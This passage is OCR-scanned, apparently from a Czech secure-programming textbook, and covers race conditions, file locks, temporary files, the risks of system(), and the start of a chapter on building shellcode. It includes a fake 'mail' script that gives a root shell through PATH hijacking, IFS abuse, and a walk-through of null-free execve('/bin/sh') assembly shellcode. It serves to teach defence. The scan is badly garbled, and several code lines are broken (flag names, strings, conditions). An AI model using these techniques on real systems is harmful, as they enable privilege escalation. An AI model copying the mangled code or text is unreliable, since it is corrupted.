Kernel s hlida asociaci deskriptoru s obsahem souboru tak dlouho, dokud se nezavola close(). To
i v pripadé kdybychom mezitim soubor smazali.

Ve svétle téchto poznatkll setedy jevi jako lepsi varianta nejdfive soubor oteviit a potom zkoumat
jeho charakteristiky. Ne obraceng, jako tomu bylo v pfedchozim prikladu.

int fd;
struct stat st
FILE *file;

if ( (fd=open(name,O_WRONLY,0)) < 0 ) // soubor nelze otevfit
fstat(fd, &st);

/I zde provedeme potfebné testy

if ( (file = fdopen(fd,” w’)) == NULL ) // nelze otevfit jako FILE stream

Obréazek 5.2: Oprava Casove zavisé chyby

Prehled dalSich diilezitych volani jadra, pracujici prfimo s deskriptorem souboru:

int | fchdir(int fd) zména aktualniho adresare

int | fchmod(int fd, mode_t mode) Zména prav souboru

int | fchown(int fd, uid_t uid, gid_t gid) | zménavlastnika souboru

int | fstat(int fd, struct stat *st) status souboru

int | ftruncate(int fd, off_t lenght) ofizne soubor na zadanou velikost
FILE* | fdopen(int fd, char * mode) otevieni proudu souboru

Dilezité je vzdy kontrolovat navratovy kod funkci. Pri Spatné volbé knihovnich funkci nas ne-
zachrani ani diisledna kontrola vech navratovych kodl. Napriklad jedna ze starSich verzi /bin/login
byla implementovana tak, ze pokud nenalezla soubor /etc/passwd, poskytla pfihlaSeni uzivatele root
bez heda. Je sporné, jestli je tato idea Spatna Ci ne, dodnes ji nékteré distribuce pouZivaji. Problém
byl v tom, Ze misto testu, zda soubor existuje, se provedl test, zdalze otevrit. Utognikovi statilo, aby
vyCerpal maximalni mozny poCet otevienych deskriptorll, amohl se pfihlasit jako root bez hesla.

5.2.1 Zamky soubor

Program, ktery béZi s pravy uZivatele root, by nemé spoléhat na vylucny pristup k souboru. Zgjistit
vyluény pristup je pomérné obtizné. Na Linuxu jsou definovany dva druhy zamk{ souborll. Prvni
pochézi ze sytému BSD. Jednase o funkci int flock (int fd, int operation). Prvni parametr je deskriptor
souboru. Druhy uréuje typ zamku. LOCK _SH je zamek pro Gteni a pro jeden soubor jich mtize byt
nékolik. LOCK_EX je zamek pro zapis. Zamek pro zapis miize byt pouze jeden a zarovéi nesmi byt
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zadny zamek pro ¢teni. LOCK _UN uvolni zamek. Celé volani je blokujici operace. Neblokujici volani
nastavime logickym nebo parametru LOCK _NB s typem zamku.

Druhy zplisob je pomoci funkceint fentl(int fd, int cmd, struct flock *lock). Prvnim parametrem
je deskriptor souboru. Druhy typ operace: F_.SETLK - neblokujici zamek, F_ SETLKW - blokujici
zamek, F_.GETLK - Ziskani informaci o zamku. Treti parametr je ukazatel na strukturu typu struct
flock. Tato struktura obsahuje polozky:
int | 1_type F_RDL CK-cteni, F\WRLCK-z&pis, F_UNL CK-uvolnéni
int | [_.whence | odkud urcujeme zacatek, zpravidla SEEK _SET

off t | start pocatek zamku, zpravidia 0

off_t | len délka zamku, 0 znamena do konce souboru

Jak vidime, tento druh zamku umoznuje i uzamknuti pouze €asti souboru. Uzamknuti souboru
pomaci zamku ma ovsem vyznam pouze mezi dobfe napsanymi programy. Pokud se $patné napsany
program na zamek viibec nepta a zatne do souboru zapisovat, povede se mu to. Cheeme-li zabréanit
této situaci, je u fentl() mozné pouZit tzv. striktni zamky. Kdyz je soubor striktné uzamcen, nepovede
sedo ng zapisani uzivateli root. Nastaveni striktnich zamk se sklada ze dvou krokul. V' prvnim kroku
nastavime souboru zvla&tni kombinaci pfistupovych préav. Pro skupinu nastavime Set-UID bit a odebe-
reme pravo spousténi skupiné - chmod g+s-x soubor. Ve druhém kroku nastavime prisusné diskovée
oblasti mandatory atribut - mount / -0 remount,mand. O pouZiti striktnich zamkl tedy rozhoduje
administrator systému a nikoliv programétor.

5.2.2 Vytvareni dotasnych soubor i

Mnohéprogramy ¢asto vyzaduji odkladani informaci do do€asnych souborll. Protento (cel sezpravidla
pouziva adresaf /tmp. Pomaoci proménné prostfedi TMPDIR Ize specifikovat i jiny adresaf. Jnéno
docasného souboru by nikdy nemélo byt pevné dané. Pro toCnika je velmi snadné vytvofit link na
jiny soubor. Predstavme si, ze mame mechanismus generovani unikatnich jmen. Presto se chceme
pojistit proti pfipadnému predem pripravenému linku UtoCnikem. N&S test by mohl vypadat tfeba
takto:

if ( (fd=open(filename, O_RDWR)) != —1 ) chyba(); // soubor jiZ existuje
fd = open(filename, O_RDWR | O_CREAT, 0644);

Zdeaemlize dojit k Casové zavislé chybé. Tyto dvatadky nemusi prob&hnout atomicky. Vhodnym
FeSenim je pouZit test na existenci primo pfi vytvareni souboru. Dosahneme toho atributem O EXCL.
Pokud pfi vytvareni soubor jiz existuje, volani skonci nelispechem. Spravné s tedy vystatime stimto
volanim:

fd = open(filename, O_RDWD | O_CREAT | O_EXCL, 0644);
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P¥i pouziti funkcefopen() jemoznépouzit priznak ' +x’, ktery matakévyznam exkluzivity. Celkové
se tedy vytvoreni docasného souboru sklada ze tFi krokU:

e Ziskani unikatniho jména
e otevieni sO_CREAT aO_EXCL

e kontrola, zda se otevieni povedio

Ziskani unikatnihojména

Funkce char *tmpname(char *s) a char *tempname(const char *dir, const char *prefix) jsou podle
piisludnych manuélovych stranek nespolehlivé anemély by se pouzivat. Vyvojéfi projektu GNOME?
presto tyto funkce pouzivaji. Jgjich doporucena konstrukce vypada takto:

do {
filename = tempname(NULL, " f 00”);
fd = open(filename, O_CREAT | O_EXCL | O_-TRUNC | O_RDWD, 0600);
free(filename);

} while (fd == —1);

Tato metoda ae neni idedlni. Stati, aby Utocnik vyCerpal maximéni mozny poCet otevienych
deskriptorli souborll, a zplisobi, Ze program uvazne v nekonetné smycce.

Zajimava je funkce FILE *tmpfileg(). Tato funkce vytvori unikatni doCasny soubor a otevie ho.
Jedna se o rychlou a elegantni cestu. Podle Secure Programming How To [6] bohuzel tato funkce neni
doporucovana. Dlvody spoCivaji v chybné implementaci v UNIXu System V. Moznosti prevzeti této
implementace v rtiznych klonech UNIXu jsou reané.

Dale existuji funkce char *mktemp(char *template) a char *mkstemp(char *template). Funkce
mktemp() vytvari jména z fetézce template, ktery musi byt ukonen sufixem *xxxxxx’. Prvnich pét
X' se nahradi ¢islem procesu. Podedni 'x’ se nahradi nahodnou hodnotou. U funkce mkstemp() je
cely sufix nahrazen nahodnymi Cidly tak, aby vzniklo unikétni jméno. Tato funkce je doporucovana
dokumentem Secure Programming How To. Vice na obrazku 5.3.

5.3 Nebezpetna funkce system()

Funkce int system(const char *string) umoziuje zadavat prikazy fadkovému interpretu prikazll —
shell. V dal8im textu budeme pouZivat jako fadkovy prikazovy interpret Bourne Again Shell, zkracené

Y http://www.gnome.org



FILE *create_tempFILE(char *template) {
int temp_fd;
mode_t old_mode;
FILE *temp_file;

old_mode=umask(077);

/* uloZime starou masku a nastavime novou */
temp_fd = mkstemp(template);
umask(old_mode);

if (temp_fd == —1) chyba();

/* nelze otevrit */

if (I(temp_file=fdopen(temp_fd,” w+b"))) chyba();
/* nelze vytvorit handler */

if (unlink(template) == —1) chyba();

/* nelze provést unlink() */

return temp_file;

Obréazek 5.3: Doporutovana tvorba docasného souboru

bash. Jedna se o ngjpouzivangs shell. Na fetézec, ktery té&to funkci zadavame, bychom méi byt
velmi opatrni. Pfedstavme si, Ze tuto funkci volame v programu, ktery ma nastaven Set-UID bit
a patfi uzivateli root. Program bude provadét ngakou uzitetnou €innost a o pfipadnych problémech
se rozhodne roota informovat emailem. Néasledujici implementace na obrazku 5.4 neni bezpetna.

int main() {
/* vlastni program */

if ( chyba) ) system(”mail root < data.log”);

Obrazek 5.4: Nebezpetna funkce system()

Utoénikovi nyni sta&i pridat aktualni adresar do cesty —export PATH=.:$PATH anapsat s vlastni
verzi programu mail.

#!/bin/sh
#fiktivni verze programu mail ... spusti root shell
/bin/sh < /dev/tty #musime zpatky presmétovat vystup
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Lepsi variantou by mohlo byt pouziti plné cesty. Tedy /usr/bin/mail. Ani to neni dobré. Kazda
linuxovadistribuce mtize mit program mail umistény nartiznych mistech, napr. /bin/mail. | kdybychom
vSechny moznaumisténi vyFesili, itotnik mav rucedalsi zbran. Tou je proménnaprostiedi | FS (Internal
Field Separator). Jgji obsah urcuje znaky, pomaci kterych od sebe shell rozpoznava jednotlivé prikazy.
Standardné je IFS nastaveno na mezeru, tabuléator a novy rfadek. Nastaveni IFS na znak / nam tedy
naS obranu rozbofi.

Nyni nékolik poznamek. Funkce system(const char *string) pracuje tak, ze systémovym volanim
execve() spousti prikaz /bin/sh -¢ "string”. Je-li /bin/sh link na /bin/bash, dochézi ke specifickému
spoudténi shellu /bin/bash. Pro nas je dlllezite, Ze v piipadé spoudténi bashe pomoci odkazu /bin/sh
Z programu s nastavenym Set-UID bit se bash zbavuje svych efektivnich prav. Proménna IFS je také
o&etfena. Toto chovani bohuzel plati az pro bash od verze 2.05. Navic distribuce jako Debian pouziva
bash bez této vlastnosti. Funkci system() je tedy stéle nutné povazovat za nebezpetnou.

V naSich prikladech jsme ukazkové pouzili volani programu mail. Tento program umozhuje
sam 0 sobé spustit externi prikaz. Spudténi externiho prikazu doséhneme tim, Ze se v textu objevi
tato sekvence: [zatatek radky] !prikaz[konec Fadky]. Této vlastnosti bylo napriklad pouzito pfi
znamém prolomeni bezpetnosti programu suidperl. Program suidperl pfi chybé vygenerova chybové
hlaeni, které nasledné pomoci programu mail dorugil uZivateli root. Utoéniktim se povedio nalézt
metodu modifikace chybové zpravy pred odeslanim. V1ozili tedy sekvenci spoudt§ici shell. Od té
doby existuji modifikace programu mail bez moznosti spoudténi externich programtl. Mnoho vyvojari
shledalo tuto vlastnost (pfevzatou z plivodniho programu mail na AT&T UNIXu Version 3) méo
uzitetnou a pomérné nebezpetnou.

Naobrazku 5.5 ukazme jak funkci system() nahradime volanim z rodiny exec.

Kod je nyni sice 0 néco deldi, ale mnohem bezpeCngsi. V pripadech, kdy trvame na pouziti funkce
system(), s musime vzdy zabezpeCit prostfedi akontrolovat obsah proménnych prostfedi. Tato situace
mliZe nastat napf. pokud potfebujeme pouZit nasobné roury a presmérovani. Pfevod na volani exec by
byl komplikovany. Vice na obrazku 5.6.
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/* Nevhodna verze:

* if (system(“/bin/cp alfa beta”) != 0) {
* printf(* Chyba pfi kopirovani”);

* return 2;

* )

*/

pid_t pid;
int status;

if ((pid=fork()) < 0) {
printf (" Chyba pfi fork()”);
return 2;

}

if (pid == 0) { // nové vznikly proces (child)
execl(”/ bin/ cp”,”al fa”,”beta” ,NULL);
printf(" Chyba pfi execl ()"); //pokud se volani nepovede
return 2;

}

/I plivodni proces (parent)

waitpid(pid, &status, 0);

if ( \WIFEXITED(status)) || (WEXITSTATUS(status) = 0) ) {
printf(” Chyba pfi kopirovani”);
return 2;

Obrazek 5.5: Nahrada funkce system()

llcelé prostiedi smazeme

/Ipfipadné nutné proméné jako USER s uloZzime
clearenv();

/Inastavime si co potfebujeme

setenv(” PATH" ,” / bi n: / usr/ bi n: /usr/ Il ocal / bi n" 1);
setenv(” I FS”,” \t\n",1);

/Ispustime

system("l s a* | grep alfa | sort >10Qg");

Obrazek 5.6: Zabezpeteni prostfedi pfi volani system()

37

10

20

10



Kapitola 6

Shellkod

Shellkodem rozumime posloupnost bytdl, které interpretovany jako strojovy kod, provedou spusténi
shellu. Toto je cilem v&t&iny (tokdl. Utognik pomoci bezpetnostni chyby v programu provede vlozeni
shellkddu a zméni tok instrukci tak, aby doSo k jeho spusténi. Samozieimé by bylo mozné naprogra-
movat strojovy kod pfimo na provedeni pozadovanych operaci. To je vSak zbytetné obtizné. Béznou
praxi je pouhé spusténi shellu.

Zdrojovy kod programu slouZici k ziskani neopavnéného pristupu miizemerozddit nadve zakladni
cadti:

o funkce, které vyuziji chyby, provedou vloZeni shellkddu ainiciuji jeho spusténi

e samotny shellkod

NejCast§ji pouZzivané metody vlozeni shellkodu jsou popsany v kapitole 7 nastrané 65. Shellkodiim
samotnym se budeme vénovat nyni. Podle metody konstrukce shellkodu miizeme provést nasledujici
rozdéleni:

genericky shellkdd —Genericky, neboli bézny shellkod provede Cisté spusténi shellu. Jeho konstrukce
je pfimocara a vhodna pro dalsi rozSifovani funkénosti a vlastnosti. Dva z&kladni druhy jsou:

e Aleph One
Tento shellkod pro zjisténi adresy Fetézce "/bin/sh” vyuZivainstrukce call.

e Netric
U tohoto typu se pro zjisténi adresy fetézce vyuziva jeho vlozeni na zasobnik a ziskani
adresy z registru ESP.

shellkod nezavidy — Tato skupina shellkodll se vyznaGuje tim, Ze je mozné provést spudténi na
vice operatnich systémech, resp. mikroprocesorovych architekturach. Dosahuje se toho po-
moci (vodniho 'magického’ Fetézce. Ten obsahuje posloupnost takovych bytll, Ze pro urdity
OS/architekturu dekddované instrukce magji vyznam skoku na nativni shellkdd. Pro ostatni se
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musi jednat o nepodstatné instrukce. Cim vice operatnich systémil aarchitektur shellkod zviada,
tim obtizngdi je nalezeni Gvodniho Fetézce. Rliznych moZznosti jsou pouze jednotky. Detekce
takového shellkodu filtry je proto velmi snadna.

e Shelkod nezavidy na operacnim systému
Tato varianta umoznujici spusténi pouze na jedné architekture je pomérné jednoducha
Obtizny Gvodni Fetézec neni potfeba. Staci provést pouze rozliSeni specifickych vlastnosti
jednotlivych OS a nasledné skok na prisiudny shellkod. Rozligeni miizeme provést napr.
podle obsahu segmentovych registrll FSa GS.

e Shellkod nezavidy na architekture
Zde jiz magicky TFetézec potiebujeme. Prikladem miize byt posloupnost bytti 0x90 0x90
Oxeb 0x30. Pro procesory z fady Intel x86 se provedou instrukce nop, nop a skok o 48B
dae. Na procesoru Sparc se provede nevyznamna instrukce or.

shellkod specialni — Protoze generické a speciani shellkody 1ze pomérné dobre detekovat rliznymi
filtry podle specifickych sekvenci, zacali (toCnici pouzivat alfanumerické a polymorfni shell-
kody.

e Alfanumericky shellkod
Tento shellkodd je tvofen pouze takovymi instrukcemi, jejichz hexadecimalni hodnota
spada do oblasti znakli nebo Cisdl v ASCII tabulce. Filtrovani takového shellkodu je
obtizné, protoZze matvar bézného textu. Navic |ze velmi snadno umistit, napf. jako jméno
adresare, predmét emailu a podobné.

e Polymorfni shellkod
Polymorfni shellkdd se sklada z bézného shellkddu a polymorfniho API rozhrani, takze
vysledkem kompilace jsou rlizné binarni podoby. Na tento druh se velmi Spatné aplikuiji
napr. kontroly paketli na specifické sekvence.

bindshell —Bindshell jeshellkdd rozsifeny o pfipojeni vstupu avystupu shellu navolny port pocitace.
K takovému portu sejiz pouze sta€i pripojit napriklad pomoci telnetu azadavat vzdalené prikazy.

V daldim textu se postupné seznamime s vlastnostmi uvedenych shellkod.

6.1 Prostredi

6.1.1 Zasobnik

Zasobnik je oblast paméti, se kterou pracujeme jako s frontou typu LIFO (Last In First Out). Velikost
zasobniku je omezena velikosti segmentu. Negjvyse tedy 4GB. Prislusny segmentovy selektor jeregistr
SS. Tento segmentovy registr se automaticky pouziva pro vdechny zasobnikové operace. Registr ESP
ukazuje na vrchol zasobniku. KdyZ pouzijeme instrukci push, nejprve se hodnota ESP snizi o 4B,
a potom se pozadovana hodnota ulozi na novy vrchol zasobniku. Pfi vybéru hodnoty ze zasobniku
do registru se hodnota nejprve vybere, a potom se hodnota ESP zvé&tsi o 4B. Rikame, e zasobnik
roste smé&rem k nizSim adresam. Registr EBP se pouZziva pro vytvoreni lokalniho ramce funkce na
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zasobniku. Proménné jsou adresovany posunem vici hodnoté v registru EBP. Nad adresou obsazenou
v registru EBP se nachazeji parametry predavané funkci. Pod touto adresou se nachazeji lokani
promeénné funkce.

6.1.2 Procesv pamé&ti

Pamétovy prostor procesu je rozdéen nanékolik oblasti podie obrazku 6.2. Oblasti maji sviij vyyznam,
ktery je dany pfiznaky opravnéni a kontextem. Pro nas jsou nejdiileZitej$i priznaky povoleni zapisu
a spustitelnosti. Podiveime se, do jakych pamétovych oblasti kompilator jazyka C uklada rozdilné
typy proménnych.

Glaobani iniciované proménné (jgich hodnota je znama v dobé kompilace) jsou umistény v oblasti
Data. Globa ni neiniciované proménné jsou umistény v oblasti BSS. Lokani proménné se ukladaji na
zasobnik (stack). Dynamicky alokované oblasti paméti se zakladaji v oblasti haldy (heap). Vice na
obrézku 6.1.

Oblast kbédu je prfistupna pouze pro Cteni a je sdilena vdemi procesy téhoz programu. Oblast
zasobniku i haldy je spustitelnal. Naprvni pohled by se mohlo zdét, Ze spustitelné jsou zcela zbytetné.
Existuji i neoficidni verze linuxového jadra s nespustitelnym zasobnikem a haldou. Bohuzel na
takto upraveném jadfe nefunguji nékteré programy, vice informaci je v kapitole 9. Problémy vznikaji
z nasledujich dbvodu:

Vnorenédefinice funkci — Prekladat gcc implemenuje rozsifeni jazyka C o vnorené funkce. MUize
dojit k situaci na nasledujicim obrazku.

[* Ukazka vzniku trampoliny pfi pouzti vnofenych funkcich */

int zpracuj(int (*addr)(int)) {
return addr(3);
}

int main() {
int x=2;
int interni_vypocet(int y) { return (x+y); }
10
return zpracuj(interni _vypocet);

}

V tomto pfipadé je funkce interni_vypocet() volana mimo funkci, ve které byla definovana
ObtiZzné se tedy bude dostavat k lok&lnim proménnym funkce main(). Situace se fesi tak, ze
funkce main() vytvori na zasobniku data, ktera odpovidaji instrukcim presunu hodnoty z EBP
do ECX a skok na funkci interni_vypocet(). Ve funkci zpracuj() dojde provedeni téchto dvou
instrukci. Pres registr ECX dojde k zpFistupnéni lokalnich proménnych funkce main(). Ony dvé
instrukce spousténé ze zasobniku se nazyvaji trampolina.

PFiginy v odstavci 2.3.1 nastrané 13
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(gdb) list
/* shellkodl.c */
int a=1; //data
int b //bss
int *c; //bss

int d; //stack

¢ = (int *)malloc(10); //heap

*c=0xAA;
0 return O;
1

}

(gdb) break 10
(gdb) run
Breakpoint 1, main () at shellkodl.c:10

*kkkkkkkkhhhkkkkhkhhhkkkkkhhhhhkrkkhkkhhhhrrkrikkx

1
2
3
4
5
6 int main() {
7
8
9
1
1

(gdb) print &a
$1 = (int *) 0x8049490
(gdb) info symbol 0x8049490

a in section .data
*kkkkkhkkkkhhkhkhkhhhhhhhhhkhhhhhikhhhhrhhhhikixk

(gdb) print &b

$2 = (int *) 0x80495a8
(gdb) info symbol 0x80495a8
b in section .bss

kkkkkkkkkkkkhkkkhkkhkkkhkkhkkkkkkkhkkhkkkkkkhkkkkkkk

(gdb) print &d
$3 = (int *) Oxbffffa38

kkkkkkkkkkkkkkkkkhkkhkkhkkkkkkhkkhkkhkkkhkkkhkkkk

(gdb) print &c

$4 = (int **) 0x80495ac
(gdb) x 0x80495ac
0x80495ac <c>: 0x080495h8

kkkkkkkkkkkkkkkkkhkkhkkhkkkkkkkkkhkkhkkhkkkkkkk

(gdb) print c

$5 = (int *) 0x80495b8
(gdb) x 0x80495b8
0x80495b8: 0x000000aa

Obrazek 6.1: Adresy jednotlivych proménnych v paméti
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Proces v paméti

Vyssi
adresy
Argumenty programu
a proméné prostieti
Zasobnik
Rémec
uzivatelského
zéasobniku
Halda
BSS
Data
Kaod
Nijzsi
adresy

Obrazek 6.2: Proces v paméti

Obsluznérutiny signalli —Kazdy program miize vlastnit své rutiny pro obsluhu odchytitelnych sig-
nalll. Pri doruCeni signdu jadro proces zastavi a na zasobnik uloZi data nutna pro pozdgsi
obnoveni kontexu procesu. Dale na zasobnik vloZi instrukce, které provedou vyvolani obsuzné
rutiny signalu a po ukonceni spusténi systémového volani sigreturn(). Systémové volani sigre-
turn() provede obnoveni kontextu procesu a preda mu fizeni.

Funkcinalni jazyky — Funkcionalni programovaci jazyky stejné jako i jiné programy mohou zaviset
na generovani kodu na zasobniku za béhu programu.

6.2 Provedeni funkce

Vykonavani funkce miizeme rozdélit do t¥i krokdl (informace jsou platné pro jazyk C, pro zajimavost
jsou misty uvedena srovnani s jazykem Pascal):

Volani funkce — Nejdfive se na zasobnik ulozi parametry predavané funkci. Ukladaji se od konce.
Diku tomu jsou prvni parametry nejbliZe lokanimu ramci funkce a posledni parametry nejdale.
Tato konstrukce umoZziuje v jazyce C psét funkce s proménnym poctem parametrll. Napr. jazyk
Pascal toto neumoznuje a uklada parametry odpredu. Potom se uloZi obsah registru EIP + 5B.
MIluvime o tzv. navratové adrese, 5B je délkainstrukce call s operandem. Tato adresa se pozd§ji
ze zasobniku vybere a uloZi zpét do EIP. Béh programu pokracuje dae.

Prolog funkce — Vytvori se nové prostiedi pro funkci. Nejdfive se uloZi na zasobnik obsah registru
EBP. Potom se registr EBP nastavi na stejnou hodnotu, jako obsahuje registr ESP. Nakonec se
registr ESP sniZi o potfebny pocet bytl — tim se vytvori misto nalokani proménné. Parametry
funkce maji tedy oproti adrese v registru EBP kladné offsety. Lokalni proménné maji offsety
zaporne.

42



Epilog funkce — Vratime stav zasobniku do stejného stavu, jako byl pred volanim funkce. Instrukce
leave obnovi plivodni hodnoty registrti EBP a ESP. Instrukce ret vyzvedne ze zasobniku na-
vratovou adresu a uloZi ji do EIP. Volgici funkce nyni jiz jen uklidi ze z&sobniku parametry.
V jazyku Pascal se o (klid parametrll stara funkce sama.

Podiveime se obrazky. V8imat s budeme zasobniku pfi provedeni zdrojového textu shellkod2.c
podle obrazku 6.3.

* shellkod2.c */

void fee(int alfa, int beta) {
char g6] = "abcdef”;

int k = 10;

}

int main() {
int gama = 20;
fce(8,12);
return O;

}

Obrazek 6.3: Priklad navolani funkci

Pocatek funkce main()

Prolog X <— EBP X X
push %ebp
mov %esp, %ebp
subl $0x4,%esp gV g gy
,;? X [<—ESP '§ X é: ESP .§ X |[<— EBP
EBP gama|<— ESP
push %ebp movl %esp,%ebp subl $0x4,%esp

Obrazek 6.4: Zasobnik avolani funkce I.

Na obrazku 6.4 vidime, kterak probéhne prolog funkce main(). Stav na zasobniku pred volanim
funkce main() je urCen programem, ktery funkci main() vola Nejdfive se na zasobnik uloZi obsah
registru EBP. To proto, abychom toto prostfedi mohli pozdgji znovu obnovit. Potom se do registru EBP
nastavi adresa odpovidajici aktuanimu vrcholu zasobniku. Tim se vytvori prostfedi funkce main().
Nasledné alokujeme misto pro lokalni proménnou gama.

Na obrazku 6.5 je zobrazen priibéh volani funkce fee(int alfa, int beta). Funkce main() nejdfive
na zasobnik pfipravi pfedavané argumenty. Poté instrukce call ulozZi na zasobnik navratovou adresu
aprovede skok naadresu funkce fce(int alfa, int beta). Vefunkci fee(int alfa, int beta) se ngjprve vytvori
jeii prostfedi. Probéhne tedy prolog. Pro lokalni proménné potfebujeme na zasobniku alokovat 12B.
4B jsou potfeba pro proménou k. Pro Fetézec s by nas sice staCilo pouze 6B, ae zasobnik jeimplicitné
organizovan po c¢tyrech bytech. Misto 6B tedy zabereme celych 8B.
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Volani funkce fce(int alfa, int beta0 a jeji lokdlni proménné na zdsobniku

Lokalni prménné

Volani funkce fce()

Piiprava parametri
funkce fce() a uloZeni navratové adresy
X X
y y
X <— EBP X <— EBP
gama gama
12 12
z 8 |<—EP 3§ 8
E] E] EIP+5|<— ESP
pushl $0xc call <fce>
pushl $0x8

funkce fce()
X
y
z [ X
gama
- 12
3 8
el EIP+5
z |[<—EBP
fe
dcha
kK (<=—ESP
push %ebp

movl %esp,%ebp
subl $0xc,%esp

Obrazek 6.5: Zasobnik avolani funkce I1.

Navrat z funkce fce(int alfa, int beta) a uklid parametri ze zdsobniku

Uklid parametrii
ze zésobniku

Obnova prostied{

funkce main()
X
y
z X <— EBP
gama
- 12
3 8
g EIP+5|<— ESP
z
fe
dcha
k
movl %ebp, %esp
popl %ebp
nebo instr. leave

Vybér ndvratové adresy

adresy

N<

ret

X ~— EBP

gama

12

8 [<— ESP

EIP+5

adresy

X

X ~<—EBP
gama [<— ESP

addl $0x8, %esp

Obrazek 6.6: Zasobnik avolani funkce I11.



Na obrazku 6.6 dojde k navratu z funkce fce(int afa, int beta) do funkce main(). V prvnim
kroku obnovime prostfedi funkce main(). Do registru EBP obnovime adresu prostfedi funkce main()
uloZzenou na zéasobniku. Instrukce ret provede vybér navratové hodnoty ze zasobniku a uloZi ji do
registru EIP. Tim se dostaneme zpét do téla funkce main(). Tajiz pouze provede Uklid zasobniku.

Z obrazkl je vidét, Ze uloZzena navratova hodnota neni nijak chranéna. Jgjim prepsanim tak, aby
ukazovala na nas shellkdd, doséhneme spu&téni shellkodu.

6.3 Nestandardni vyuziti registru EBP

GNU kompilator jazyka C umoziuje provést volani funkci bez vyuziti registru EBP. Na v3echna
data ulozena na zasobniku se |ze odvolat pomoci offsetu a registru ESP. ProtoZe nedochazi k tvorbé
lok&lntho ramce na zasobniku pro danou funkci, prolog funkce Uplné zanika a navrat z funkce je
tvoren pouze instrukci ret. Registr EBP je volny amtize byt pouZit pro jiné G¢ely. Na architekture x86
s malym poctem veobecnych registril 1ze takto dospét k vyznamné optimalizaci.

Kompilace v tomto rezimu se aktivuje parametrem -fomit-frame-pointer. Tuto optimalizaci je
vhodné provést az po odladéni programu. SouCasné trasovaci programy predpokladaji standartni
vyuziti registru EBP.

6.4 Tvorba shelkodu

6.4.1 Genericky shellkéd typu Aleph one

Tato metoda byla poprvé obsirngji popsana v magazinu Phrack [3]. Autorem ¢lanku byl Aleph One
apodle jeho jména je nyni tato metoda konstrukce shellkbdu znama.

Linuxoveé jadro pro spusténi programu obsahuje pouze jedno volani int execve(const char *fi-
lename, char *const argv [], char *const envp[]). PouZiti tohoto volani s ukaZzeme na prikladu
spusténi shellu v jazyce C. Disassemblace nam ukaze zakladni kostru pro stavbu shellkbdu. Vice na
obrazcich 6.7 a6.8.

Kompilace & Disassemblace
$ gee -o shellkod3 shellkod3.c -02 -g --static
$ gdb shellkod3

Vidime, Ze neni t&€zké nagjit adresu Fetézce " /bin/sh” (obrazek 6.8 dole). Jak ae zjistime adresu
tohoto Fetézce, kdyZz nas shellkod miize byt zaveden vzdy najiné adrese? PomUize nam instrukce call.
Jak jiz vime uklada na zasobnik navratovou adresu. Pokud se na navratové adrese bude nachazet praveé
nas Fetézec, stali pouze adresu vybrat ze zasobniku. Kéd vidime na obrazku 6.9.
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* shellkod3.c */

#include <stdio.h>
#include <unistd.h>

int main() {
char *prog[] = {"/bi n/sh”, NULL};
/* volani jadra execve zméni obraz procesu */
execve(prog[0],prog,NULL);
/* pokud execve selZe ... 10
* opét volani jadra
* diky explicitnimu volani bude kéd kratSi
*/
_exit(0);

Obrazek 6.7: Spusténi shellu v jazyce C

(gdb) dissemble main

Dump of assembler code for function main:

0x80481b4 <main>: push  %ebp

0x80481b5 <main+l1>: mov  %esp,%ebp
0x80481b7 <main+3>: sub  $0x18,%esp
0x80481ba <main+6>: movl  $0x0,0xfffffffc(%ebp)
0x80481cl <main+13>: mov  $0x808b6a8,%edx
0x80481c6 <main+l18>: mov  %edx,Oxfffffff8(%ebp)
0x80481c9 <main+21>: add  $Oxfffffffc,%esp
0x80481cc <main+24>: push  $0x0 10
0x80481ce <main+26>: lea Oxfffffff8(%ebp),%eax
0x80481d1 <main+29>: push  %eax

0x80481d2 <main+30>: push  %edx

0x80481d3 <main+31>: call 0x804bf70 <execve>
0x80481d8 <main+36>: add  $Oxfffffff4,%esp
0x80481db <main+39>: push  $0x0

0x80481dd <main+41>: call 0x804bf50 <_exit>

End of assembler dump.

(gdb) printf " %\ n”, 0x808b6a8

/bin/sh
(gdb)

Obrazek 6.8: Disassemblace shellkod3.c
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Volani jadra execve() a _exit() podle obrazku 6.8 se dge pomoci knihovnich funkci. Nam bude
stait, kdyz si pozorné prohlédneme, jaké hodnoty se ukladaji na zasobnik. Z toho jiz snadno napiseme
efektivng S kod bez knihovnich funkci. Musime stdle pamatovat na velikost shellkodu?. Predavane
argumenty vloZime do veobecnych registrll a provedeme prerugeni int $0x80.

zacatek:
jmp trik
rutina:
popl %esi
Viastni shellkod
trik: 10
cal rutina
"/ bi n/ sh”

Obréazek 6.9: Ziskani adresy fetézce

Podivame-li se na parametry funkce execve(), zjistime, ze krome adresy fetézce "/bin/sh” potfe-
bujeme jesté ukazatel na tuto adresu a ukazatel na hodnotu NULL. V paméti s tedy za Fetézcem
vybudujeme pole s témito Udagji. Pfipomenme jesté, Ze textove konstanty se v jazyce C automaticky
zakonCuji ASCII hodnotou 0. Tuto hodnotu budeme muset za Fetézec doplnit sami. Pole vybudujeme
podle obrazku 6.10. Osmi byty, které vytvori pole, pfepiSeme €ast paméti. Prepsana oblast neni nijak
vyznamna. PoSkozeni dat na zasobniku, haldé €i datové sekci procesu ztrati vyznam po provedeni
funkce execve().

Zvlastni pozornost je potfeba vénovat tomu, aby shellkdd neobsahoval zadny nulovy byte. Pro
vlozeni shellkddu do paméti se zpravidla vyuziva knihovnich funkci pro praci stetézci. Pro tyto funkce
nulovy byte znamena konec kopirovaného fetézce. Vice v kapitole 7.

Cela implementace shellkddu je na obrézku 6.11. PouZili jsme vkladany assembler do jazyka C.
Podrobné komentéare jsou pfimo u kazdé instrukce. PFi definici fetézce ” /bin/sh” nesmime zapomenout
na zpétna lomitka pred uvozovkami.

2V kapitole 7 uvidime, Ze s mengim shellkbdem se snaze pracuje

popl %esi Pii pouziti téchto instrukef se ve vysledném strojovém kédu vyskytnou nulové byty.
mov| %esi, 0x8(%esi) To mize velmi zkomplikovat vloZeni shellkédu, protoze funkce pracujici s fetdzci
movIl $0x0, Oxc(%esi) se na tomto znaku zastavi.

movb $0x, 0x7(%esi i
(Yeesi) popl Y%esi

/\ movl %esi, 0x8(%esi) Strojovy kéd téchto instrukcf\
. ) NULL "~ xorl 9%eax, %eax _ neobsahuje nulové byty. J
o TTTjo] - movtsieax rces
I 8B 1 1 1 movb %al, 0x7(%esi)

|
4B 4B

Obrazek 6.10: Pole stetézcem " /bin/sh” a ukazateli
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Na obrazku 6.12 vidime odpovidajici strojovy zapis. Nikde se v ném nevyskytuje nulovy byte.
Shellkod je tedy v poradku. Od adresy 0x80483dd jiz ngjsou instrukce, ale Fetézec "/bin/sh”. ASCII
